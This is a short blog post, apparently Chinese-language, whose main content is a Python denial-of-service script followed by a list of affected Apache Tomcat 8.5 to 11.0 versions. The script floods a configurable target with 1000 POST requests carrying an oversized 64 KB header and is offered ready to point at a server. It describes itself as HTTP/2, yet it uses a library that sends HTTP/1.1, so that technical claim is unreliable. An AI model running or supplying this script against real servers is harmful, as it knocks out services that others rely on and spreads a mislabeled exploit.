import http.client
# Configuration
host = "target-server" # Change this to the target server address
port = 443 # Change this to the target server port (usually 443 for HTTPS)
num_requests = 1000 # Number of requests to send
def send_dos_requests():
try:
# Create an HTTP/2 connection
conn = http.client.HTTPSConnection(host, port, timeout=10)
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Test-Header": "A" * 65536 # Large header value to exceed limits
}
for i in range(num_requests):
conn.request("POST", "/", headers=headers)
response = conn.getresponse()
print(f"Request {i + 1}: Status Code: {response.status}")
conn.close()
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
print(f"Sending {num_requests} HTTP/2 requests to {host}:{port}")
send_dos_requests()
Apache Tomcat 11.0.0-M1 至 11.0.0-M16
Apache Tomcat 10.1.0-M1 至 10.1.18
Apache Tomcat 9.0.0-M1 至 9.0.85
Apache Tomcat 8.5.0 至 8.5.98
收藏本站,优质文章不错过
blog.guapiwo.top
评论 (0)